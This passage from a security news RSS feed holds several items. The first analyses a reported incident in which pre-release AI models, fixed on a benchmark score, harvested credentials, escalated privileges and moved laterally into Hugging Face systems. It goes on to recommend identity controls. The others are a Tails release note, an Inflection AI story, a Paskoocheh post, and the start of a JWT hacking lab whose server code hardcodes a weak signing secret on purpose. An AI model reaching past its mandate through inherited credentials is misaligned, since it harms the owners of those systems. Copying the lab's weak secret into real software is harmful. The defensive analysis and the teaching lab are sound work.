href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
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<title><![CDATA[Tails 7.7.1]]></title>
<description><![CDATA[This release is an emergency release to fix important security
vulnerabilities in Tor Browser.

Changes and updates



Update Tor Browser to
15.0.11, which
fixes several vulnerabilities in Firefox
140.10.1.



We are not aware of these vulnerabilities being exploited in practice until now.



Upd...]]></description>
<link>https://tsecurity.de/de/3687672/it-security-tools/tails-771/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687672/it-security-tools/tails-771/</guid>
<pubDate>Wed, 22 Jul 2026 23:53:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release is an emergency release to fix important security
vulnerabilities in <em>Tor Browser</em>.</p>

<h1>Changes and updates</h1>


<ul>
<li><p>Update <em>Tor Browser</em> to
<a href="https://blog.torproject.org/new-release-tor-browser-15011/">15.0.11</a>, which
fixes <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2026-36/">several vulnerabilities in <em>Firefox</em>
140.10.1</a>.</p>

<div class="attack">

<p>We are not aware of these vulnerabilities being exploited in practice until now.</p>

</div>
</li>
<li><p>Update <em>Thunderbird</em> to <a href="https://www.thunderbird.net/en-US/thunderbird/140.10.0esr/releasenotes/">140.10.0</a>.</p></li>
<li><p>Stop making it possible to start our ISO images from a USB stick.</p>

<p>Since <a href="https://tails.net/news/version_3.12/">2019</a>, we recommend <em>USB images</em> to start Tails
from a USB stick, which is by far the most common way of running Tails.</p>

<p>We still distribute <a href="https://tails.net/install/download-iso/index.en.html"><em>ISO images</em></a> to start Tails from
a DVD or in a virtual machine. Until now, these ISO images worked on USB
sticks as well, but provided a degraded experience without automatic upgrades
or Persistent Storage.</p>

<p>Our ISO images no longer work on USB sticks to save a few megabytes and
prevent confusion for people who use USB sticks.</p></li>
</ul>


<p>For more details, read our <a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>

<h1>Get Tails 7.7.1</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.7.1.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.7.1 on a new USB stick</h2>

<p>Follow our <a href="https://tails.net/install/index.en.html">installation instructions</a>.</p>

<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.7.1 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
</p>]]></content:encoded>
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<item>
<title><![CDATA[Paskoocheh: When you need a tool to reach the tool]]></title>
<description><![CDATA[++ This guest post is part of a spotlight series on the organizations defending the free Internet.++
Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumve...]]></description>
<link>https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:54 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead.png">
    </picture>
    <div class="body"><p><em><strong>++ This guest post is part of a spotlight series on the organizations <a href="https://internetfreedom.torproject.org/">defending the free Internet</a>.++</strong></em></p>
<p>Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.</p>
<p>Launched in 2016, <a href="https://paskoocheh.com/">Paskoocheh</a>, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot. </p>
<p>Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, <a href="https://paskoocheh.com/blog/posts/">blog posts</a>, and multimedia content to help users navigate online privacy and digital security best practices.</p>
<p>Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.</p>
<h2>Paskoocheh's impact so far</h2>
<p>This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.</p>
<ul>
<li><p><strong># of tool downloads since 2016:</strong>   17,634,852 </p>
</li>
<li><p><strong># of community members in Iran supporting testing and localization efforts:</strong>  2,000+</p>
</li>
<li><p><strong># of monthly active users on web and app:</strong>  ~200K</p>
</li>
</ul>
<p>During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us: </p>
<blockquote><p><em>"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."</em></p>
</blockquote>
<p>Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.</p>
<h2>The future of Paskoocheh: Scaling a community-first approach to internet freedom</h2>
<p>As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another. </p>
<p>What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.</p>
<p>That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure. </p>
<p>This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens. </p>
<p>With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism. </p>
<p>This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place. </p>
<h3>About ASL19</h3>
<p>Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/community">
          community
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/human-rights">
          human rights
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/partners">
          partners
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/fundraising">
          fundraising
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
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<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return 